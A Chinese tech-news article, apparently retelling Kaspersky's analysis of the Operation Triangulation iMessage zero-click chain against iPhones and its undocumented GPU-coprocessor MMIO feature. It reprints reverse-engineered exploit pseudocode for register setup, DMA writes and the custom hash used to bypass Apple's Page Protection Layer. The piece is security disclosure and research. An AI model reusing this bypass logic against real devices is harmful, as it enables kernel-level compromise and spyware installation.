iPhone 曝出「史上最復(fù)雜」硬件級別漏洞！黑客只需一條 iMessage 即可拿到所有敏感數(shù)據(jù)，而用戶不會有任何察覺。整個漏洞涉及的鏈條極其復(fù)雜，讓 Karpathy 都驚呼：不是普通人能干出來的事。
最近，卡巴斯基的研究人員發(fā)現(xiàn)，有黑客在四年多的時間里給數(shù)千部 iPhone 留下了一個非常隱蔽的后門。
通過這個硬件級別的后門，能直接獲得 iPhone 最高級別的 Root 權(quán)限。而要成功利用這個后門，必須要對蘋果產(chǎn)品最底層的機制有非常全面細致的了解。
以至于發(fā)現(xiàn)這個漏洞的卡巴斯基研究人員稱「無法想象這個漏洞是如何被意外發(fā)現(xiàn)的?！乖谒磥恚颂O果和 ARM 之外，幾乎不可能有人能獲知這個漏洞。
而間諜軟件可以通過這個復(fù)雜的漏洞，將麥克風錄音、照片、地理位置和其他敏感數(shù)據(jù)傳輸?shù)焦粽呖刂频姆?wù)器。
盡管重新啟動就能關(guān)閉這個漏洞，但攻擊者只需在設(shè)備重新啟動后向設(shè)備發(fā)送新的惡意 iMessage 文本，就能重新開啟這個漏洞。
期間完全不需要用戶進行操作，而且也不會留下任何蛛絲馬跡，非常隱蔽。
對此，OpenAI 科學家 Andrej Karpathy 表示：這無疑是我們迄今為止所見過的攻擊鏈中最為復(fù)雜的一個。
對此，Karpathy 認為，這已經(jīng)不是個人行為能夠觸及的范疇了，應(yīng)該是國家層面的行為了。
而一位聲稱自己還用 Palm 手機的網(wǎng)友回復(fù)道：「我堅持用 Palm 手機的意義就在這里。」
甚至還有網(wǎng)友感嘆：「如果你成功地惹惱了具備這種技術(shù)能力和資源的人，可能你最不需要擔心的就是自己手機里的數(shù)據(jù)了?！?/p>
目前，蘋果公司已于 2023 年 10 月 25 日修復(fù)了這一核心安全漏洞。
「三角行動」攻擊鏈
這個漏洞被發(fā)現(xiàn)的研究人員稱為「三角行動」（Operation Triangulation）。
- 攻擊者通過 iMessage 發(fā)送一個惡意附件，應(yīng)用程序會在用戶毫無察覺的情況下開啟這個漏洞。
- 該附件利用了一個遠程代碼執(zhí)行的漏洞（CVE-2023-41990），該漏洞存在于一個只有蘋果公司知道的、未公開的 ADJUST TrueType 字體指令中。這個指令自九十年代初就存在，直到最近一個更新才被移除。
- 攻擊過程中，它采用了一種稱為「返回 / 跳轉(zhuǎn)導(dǎo)向編程」的高級編程技巧，并且使用了多個階段的代碼，這些代碼是用 NSExpression / NSPredicate 查詢語言編寫的，它們修改 JavaScriptCore 庫的環(huán)境，以執(zhí)行一個用 JavaScript 編寫的權(quán)限提升的漏洞攻擊程序。
- 這個 JavaScript 漏洞攻擊程序經(jīng)過特殊處理，使其變得幾乎無法讀懂，同時也盡可能地縮小了它的體積。然而，它仍然包含大約 11000 行代碼。這些代碼主要用于分析和操縱 JavaScriptCore 和內(nèi)核內(nèi)存。
- 它還利用了 JavaScriptCore 的一個調(diào)試功能 DollarVM ($vm)，通過這個功能，攻擊者可以在腳本中操縱 JavaScriptCore 的內(nèi)存，并調(diào)用系統(tǒng)原生的 API 函數(shù)。
- 這個攻擊工具被設(shè)計成兼容新舊型號的 iPhone，并且對于新型號的設(shè)備，它包含了一個用于繞過指針認證碼（PAC）的技術(shù)，這使得攻擊能夠針對最新設(shè)備生效。
- 它通過利用 XNU 內(nèi)存映射系統(tǒng)調(diào)用（mach_make_memory_entry 和 vm_map）中的一個整數(shù)溢出漏洞（CVE-2023-32434），實現(xiàn)了以用戶級別對設(shè)備所有物理內(nèi)存的讀寫控制。
- 該工具還運用了硬件內(nèi)存映射 I / O（MMIO）寄存器來規(guī)避頁面保護層（PPL），這一問題在 CVE-2023-38606 中已經(jīng)被緩解。
- 利用了所有漏洞之后，JavaScript 漏洞便能隨意操控設(shè)備，包括部署間諜軟件。不過，攻擊者選擇了：（a）啟動 IMAgent 進程，注入代碼以清除利用痕跡；（b）無痕模式下運行 Safari 進程，并引導(dǎo)至含有下一階段內(nèi)容的網(wǎng)頁。
- 該網(wǎng)頁內(nèi)嵌了一個腳本，能夠確認受害者身份，一旦驗證通過，便會加載下一階段的攻擊代碼：Safari 漏洞。
- Safari 漏洞通過 CVE-2023-32435 來執(zhí)行 shellcode。
- 這個 shellcode 進一步執(zhí)行另一個內(nèi)核級漏洞，同樣利用 CVE-2023-32434 和 CVE-2023-38606。它在規(guī)模和功能上都非常龐大，但與 JavaScript 編寫的內(nèi)核漏洞截然不同。它們共享的只是與上述漏洞利用相關(guān)的部分代碼。然而，其大部分代碼也專注于解析和操控內(nèi)核內(nèi)存。
- 這一漏洞最終獲得了 root 權(quán)限，并繼續(xù)執(zhí)行其他階段的操作，這樣就可以加載間諜軟件。
謎一樣的漏洞
討論的焦點是一個已經(jīng)得到修復(fù)的安全漏洞，編號為 CVE-2023-38606。
新一代 iPhone 在硬件層面增加了額外的安全防護措施，專門用來保護內(nèi)核內(nèi)存中的敏感區(qū)域。
即使攻擊者能夠讀寫內(nèi)核內(nèi)存，比如利用 CVE-2023-32434 漏洞實施的這次攻擊，這種防護也能阻止他們完全控制設(shè)備。
研究人員發(fā)現(xiàn)，攻擊者為了規(guī)避這種硬件防護，竟然利用了蘋果自家設(shè)計的 SoC 中的另一項硬件功能。
簡單來說，攻擊者的手法是這樣的：他們在繞過硬件防護的同時，將數(shù)據(jù)、目標地址和數(shù)據(jù)的哈希值一并寫入到芯片中未被固件使用的某些未知硬件寄存器，以此來對特定的物理地址進行數(shù)據(jù)寫入。
研究人員推測，這個不為人知的硬件功能很可能是為了蘋果工程師或工廠的調(diào)試或測試而設(shè)計的，或者是意外包含在內(nèi)的。由于固件并未使用這一功能，研究人員對于攻擊者是如何知曉并利用這一功能的方式一無所知。
技術(shù)細節(jié)
在系統(tǒng)級芯片（System on a Chip, SoC）中，各種外設(shè)可能會提供特殊的硬件寄存器，以供中央處理器（CPU）使用，從而控制這些外設(shè)。
為了實現(xiàn)這一點，這些硬件寄存器被映射到 CPU 可以訪問的內(nèi)存中，這種方式被稱為「內(nèi)存映射輸入 / 輸出 (Memory-Mapped I / O, MMIO)」。
蘋果的產(chǎn)品，如 iPhone、Mac 以及其他設(shè)備中，外圍設(shè)備的 MMIO 地址范圍被存儲在一個特殊的文件格式中，名為「設(shè)備樹（DeviceTree）」。
這些設(shè)備樹文件可以從固件中提取，并且可以使用 dt（DeviceTree）工具來查看它們的內(nèi)容。
例如，在這張截圖里，可以看到 cpu0 的 acc-impl MMIO 范圍的起始地址（0x210f00000）和大?。?x50000）。
深入研究「三角行動」（Operation Triangulation）攻擊中使用的漏洞時，研究人員意外發(fā)現(xiàn)，攻擊者為了繞過硬件級別的內(nèi)核內(nèi)存保護所使用的大部分 MMIO 地址，并沒有在設(shè)備樹中定義。
這個漏洞專門針對蘋果從 A12 到 A16 的 SoC，攻擊的是位于 0x206040000，0x206140000 和 0x206150000 的神秘 MMIO 寄存器塊。
這激發(fā)了研究人員的好奇心，進行了一系列的嘗試。翻遍了各種設(shè)備的設(shè)備樹文件和固件文件，但都沒找到任何線索。
這讓研究人員困惑不已，這些被攻擊者利用的 MMIO 地址，為什么不在固件中使用呢？攻擊者是怎么發(fā)現(xiàn)這些地址的？這些 MMIO 地址到底屬于哪些外圍設(shè)備？
之后研究人員決定去查看一下這些未知 MMIO 塊附近是否有其他已知的 MMIO 地址。這次，他終于找到了一些有價值的信息。
在 gfx-asc 的設(shè)備樹條目的信息中，這是 GPU 的協(xié)處理器。
它包含兩個 MMIO（Memory-Mapped I / O）內(nèi)存映射范圍：0x206400000–0x20646C000 和 0x206050000–0x206050008。
要更加準確地描述，這個漏洞使用了以下一些未知的地址：0x206040000、0x206140008、0x206140108、0x206150020、0x206150040 和 0x206150048。
研究人員發(fā)現(xiàn)，這些地址大部分位于兩個 gfx-asc 內(nèi)存區(qū)域的中間，而剩余的一個地址則靠近第一個 gfx-asc 區(qū)域的起始位置。
這暗示了所有這些內(nèi)存映射輸入輸出（MMIO）寄存器很有可能是屬于圖形處理單元（GPU）的協(xié)處理器！
隨后，研究人員對這個漏洞進行了更深入的分析，并且發(fā)現(xiàn)了一個進一步的證據(jù)。
在初始化過程中，漏洞首先會寫入一些位于每個 SoC 特定地址的內(nèi)存映射輸入輸出（MMIO）寄存器。
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) base = 0x23B700408 command = 0x1F0023FF elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) base = 0x23B7003C8 command = 0x1F0023FF elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) base = 0x23B7003D0 command = 0x1F0023FF elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) base = 0x23B080390 command = 0x1F0003FF elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) base = 0x23B080388 command = 0x1F0003FF if ((~read_dword(base) & 0xF) != 0): write_dword(base, command) while(True): if ((~read_dword(base) & 0xF) == 0): break
在設(shè)備樹和 Siguza 開發(fā)的工具 pmgr 的輔助下，研究人員發(fā)現(xiàn)所有這些地址都對應(yīng)于電源管理器中的 GFX 寄存器所在的 MMIO（Memory-Mapped Input / Output）范圍。
最后，當研究人員嘗試去訪問這些未知區(qū)域的寄存器時，得到了第三個證實。
GPU 的協(xié)處理器幾乎立刻報錯，顯示信息：「GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power (1)」。
這樣，研究人員就確認了所有這些未知的 MMIO 寄存器，它們是被用來進行漏洞利用的，確實屬于 GPU 的協(xié)處理器。
這促使研究人員更深入地研究這個固件，這些固件也是用 ARM 架構(gòu)編寫且未加密的，但是他在固件中并沒有找到任何與這些寄存器相關(guān)的信息。
他決定更仔細地研究這個漏洞是如何操縱這些未知的 MMIO 寄存器的。在所有寄存器中，0x206040000 特別引人注目，因為它位于一個與其他所有寄存器都不同的獨立 MMIO 塊中。
它僅在漏洞的初始化和結(jié)束階段被操作：在初始化過程中是第一個被設(shè)置的寄存器，在結(jié)束階段是最后一個。
根據(jù)研究人員的經(jīng)驗，很明顯這個寄存器不是用來啟用 / 禁用漏洞所利用的硬件功能，就是用來中斷控制。
研究人員開始追蹤中斷的線索，不久之后，他不僅識別出了這個未知的寄存器 0x206040000，還發(fā)現(xiàn)了地址范圍 0x206000000–0x206050000 究竟映射了什么。下面展示的是研究人員能夠識別出的漏洞代碼的逆向工程結(jié)果。
def ml_dbgwrap_halt_cpu(): value = read_qword(0x206040000) if ((value & 0x90000000) != 0): return write_qword(0x206040000, value | 0x80000000) while (True): if ((read_qword(0x206040000) & 0x10000000) != 0): break def ml_dbgwrap_unhalt_cpu(): value = read_qword(0x206040000) value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000 write_qword(0x206040000, value) while (True): if ((read_qword(0x206040000) & 0x10000000) == 0): break
成功將之前偽代碼中的 ml_dbgwrap_halt_cpu 函數(shù)與 XNU 源代碼的 dbgwrap.c 文件中同名函數(shù)匹配起來。該文件包含了用于操控主 CPU 的 ARM CoreSight MMIO 調(diào)試寄存器（ARM CoreSight MMIO debug registers）的代碼。
源代碼顯示，存在四個與 CoreSight 相關(guān)的 MMIO 區(qū)域，它們分別是 ED、CTI、PMU 和 UTT。每個區(qū)域占據(jù) 0x10000 字節(jié)，且彼此緊鄰。
ml_dbgwrap_halt_cpu 函數(shù)利用了 UTT 區(qū)域。與其他三個區(qū)域不同，UTT 并非來自 ARM，而是蘋果專門為了便利性添加的專有特性。
研究人員確認了地址范圍 0x206000000 到 0x206050000 確實是 GPU 協(xié)處理器的 CoreSight MMIO 調(diào)試寄存器區(qū)塊，這是通過向?qū)?yīng)地址寫入 ARM_DBG_LOCK_ACCESS_KEY 實現(xiàn)的。
主 CPU 的每個核心都有自己的 CoreSight MMIO 調(diào)試寄存器區(qū)塊，但不同于 GPU 協(xié)處理器，它們的地址可以在設(shè)備樹中找到。
另一個有趣的發(fā)現(xiàn)是，漏洞的作者（們）知道如何利用蘋果公司專有的 UTT 區(qū)域來重新啟動 CPU，而這部分代碼并不包含在 XNU 源代碼中?？梢院侠硗茰y，這一操作很可能是通過實驗得出的。
然而，通過實驗是無法發(fā)現(xiàn)攻擊者在第二個未知區(qū)域內(nèi)對寄存器的操作的。研究人員不確定那里有哪些 MMIO 調(diào)試寄存器區(qū)塊，如果這些寄存器并未被固件所用，攻擊者是如何發(fā)現(xiàn)其用途的也是個謎。
現(xiàn)在，再來關(guān)注漏洞利用的其他未知寄存器。
寄存器地址 0x206140008 和 0x206140108 負責控制啟用 / 禁用以及執(zhí)行漏洞所依賴的硬件功能。
def dma_ctrl_1(): ctrl = 0x206140108 value = read_qword(ctrl) write_qword(ctrl, value | 0x8000000000000001) sleep(1) while ((~read_qword(ctrl) & 0x8000000000000001) != 0): sleep(1) def dma_ctrl_2(flag): ctrl = 0x206140008 value = read_qword(ctrl) if (flag): if ((value & 0x1000000000000000) == 0): value = value | 0x1000000000000000 write_qword(ctrl, value) else: if ((value & 0x1000000000000000) != 0): value = value & ~0x1000000000000000 write_qword(ctrl, value) def dma_ctrl_3(value): ctrl = 0x206140108 value = value | 0x8000000000000000 write_qword(ctrl, read_qword(ctrl) & value) while ((read_qword(ctrl) & 0x8000000000000001) != 0): sleep(1) def dma_init(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(False) dma_ctrl_3(original_value_0x206140108) def dma_done(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(True) dma_ctrl_3(original_value_0x206140108)
寄存器 0x206150020 專門用于蘋果的 A15 / A16 Bionic SoC。在漏洞利用的啟動階段，此寄存器會被設(shè)置為 1；而在漏洞利用完成后，會恢復(fù)為初始的數(shù)值。
寄存器 0x206150040 被用來保存一些狀態(tài)標識和目標物理地址的低位部分。
最后的寄存器，0x206150048，則負責存儲待寫入的數(shù)據(jù)以及目標物理地址的高位部分。這些數(shù)據(jù)會與數(shù)據(jù)的校驗哈希值以及另外的數(shù)值（可能是指令）一起打包。該硬件功能會將數(shù)據(jù)分塊，每塊大小為 64（0x40）字節(jié)進行對齊寫入，并且需要連續(xù)九次寫操作將全部數(shù)據(jù)寫入至 0x206150048 寄存器。
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) i = 8 mask = 0x7FFFFFF elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) i = 8 mask = 0x3FFFFF elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) i = 0x28 mask = 0x3FFFFF elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) i = 0x28 mask = 0x3FFFFF elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) i = 0x28 mask = 0x3FFFFF dma_init(original_value_0x206140108) hash1 = calculate_hash(data)hash2 = calculate_hash(data+0x20) write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0)) pos = 0while (pos < 0x40): write_qword(0x206150048, read_qword(data + pos)) pos += 8 phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1Fwrite_qword(0x206150048, value) dma_done(original_value_0x206140108)
只要操作無誤，硬件就會執(zhí)行直接內(nèi)存訪問（DMA）操作，把數(shù)據(jù)寫入指定的內(nèi)存地址。
利用這項硬件特性，攻擊者可以繞過頁面保護層（Page Protection Layer, PPL），主要用途是修改頁表條目。此外，它還能修改受保護的__PPLDATA 段內(nèi)的數(shù)據(jù)。盡管這個漏洞并未用于修改內(nèi)核代碼，但在研究人員進行的一次測試中，曾成功修改了內(nèi)核的__TEXT_EXEC 段內(nèi)的一條指令，并引發(fā)了一個顯示預(yù)期地址和值的「未定義內(nèi)核指令」錯誤。
這種情況只出現(xiàn)過一次，其他嘗試都導(dǎo)致了 AMCC 錯誤的發(fā)生。關(guān)于那次成功的嘗試，研究人員有一些思路，未來研究人員計劃深入研究，因為他認為，將一個本用于攻擊的漏洞轉(zhuǎn)化為正面用途，比如在新款 iPhone 上啟用內(nèi)核調(diào)試功能，將會非常有意義。
討論了所有與 MMIO（Memory-Mapped I / O）寄存器相關(guān)的工作之后，現(xiàn)在來關(guān)注最后一個話題：哈希值的計算方法。具體的算法如下所示。
sbox = [ 0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016, 0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045, 0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117, 0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D, 0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105, 0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C, 0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3, 0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206, 0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B, 0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058, 0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313, 0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1, 0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315, 0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141, 0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8, 0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070, 0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144, 0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281, 0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0, 0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394, 0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302, 0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250, 0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260, 0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380] def calculate_hash(buffer): acc = 0 for i in range(8): pos = i * 4 value = read_dword(buffer + pos) for j in range(32): if (((value >> j) & 1) != 0): acc ^= sbox[32 * i + j] return acc
如你所見，這是一種定制的算法，其哈希值的計算依賴于一個預(yù)先定義好的 sbox 表（sbox table）。他嘗試在龐大的二進制文件庫中搜尋它，但一無所獲。
你可能已經(jīng)注意到，這個哈希并不特別安全，因為它只有 20 位（兩次各計算 10 位），但只要沒人知道如何計算和應(yīng)用它，它就足夠用了。這種做法最恰當?shù)拿枋鼍褪恰鸽[晦式安全（security by obscurity）」。
如果攻擊者沒有使用這個硬件特性，并且固件中沒有任何關(guān)于如何使用它的指引，他們?nèi)绾慰赡馨l(fā)現(xiàn)并利用它呢？
研究人員又做了一個測試。他發(fā)現(xiàn) Mac 內(nèi)置的 M1 芯片也具備這一未知的硬件特性。接著，他利用了功能強大的 m1n1 工具進行了一次實驗。
該工具具備一個 trace_range 功能，可以追蹤對指定 MMIO 寄存器范圍的所有訪問，用它來監(jiān)測 0x206110000 到 0x206400000 內(nèi)存范圍的活動，但結(jié)果顯示 macOS 并未使用這些寄存器。
這次涉及到的 GPU 協(xié)處理器是最近才在蘋果的 SoC 中首次出現(xiàn)的。研究人員懷疑這個硬件功能在之前的零售固件中有過任何用途。
盡管如此，也不能排除它可能曾在某個特定固件更新或 XNU 源代碼的發(fā)布中不小心泄露過，之后又被刪除的可能性。
研究人員原本希望通過 iOS 16.6 中對這個漏洞的修復(fù)，來探究第二個未知區(qū)域里隱藏了什么。最后確實找到了蘋果是如何解決這個問題的，但他們故意將修復(fù)措施弄得難以理解。
蘋果通過在設(shè)備樹的 pmap-io-ranges 中加入了 MMIO 范圍 0x206000000–0x206050000 和 0x206110000–0x206400000 來防止這個漏洞被利用。
XNU 根據(jù)這里的信息來判斷是否允許某些物理地址的映射。所有記錄在案的條目都貼上了一個標簽名，這些標簽清楚地說明了這些內(nèi)存范圍的用途。
在這里，PCIe 指的是 「高速外圍設(shè)備互連（Peripheral Component Interconnect Express）」，DART 是「設(shè)備地址解析表（Device Address Resolution Table）」，DAPF 代表「設(shè)備地址過濾器（Device Address Filter）」，諸如此類。
下面列出的是被漏洞利用的內(nèi)存區(qū)域的標簽名稱。這些標簽在列表中顯得格外醒目。
「隱晦式安全」并不安全
可以看到，這個漏洞非比尋常，我們既不清楚攻擊者如何學會利用這個未知的硬件特性，也不知道它最初是用來做什么的。
甚至都不確定它是由蘋果開發(fā)出來的，還是類似 ARM CoreSight 這樣的第三方組件造成的。
但漏洞說明了一個事實：只要存在能夠繞過安全防護的硬件特征，那么無論多么先進的硬件安全措施，在精明的攻擊者面前都會變得毫無用處。
硬件安全常常依賴于「隱晦式安全」（security through obscurity），相較于軟件來說，硬件更難逆向工程分析。
但這種方法本身是存在缺陷的，因為所有的秘密終將有被揭露的一天。那些依賴于「隱晦式安全」來維護的系統(tǒng)，永遠無法做到真正的安全。
參考資料：
https://arstechnica.com/security/2023/12/exploit-used-in-mass-iphone-infection-campaign-targeted-secret-hardware-feature/
https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/
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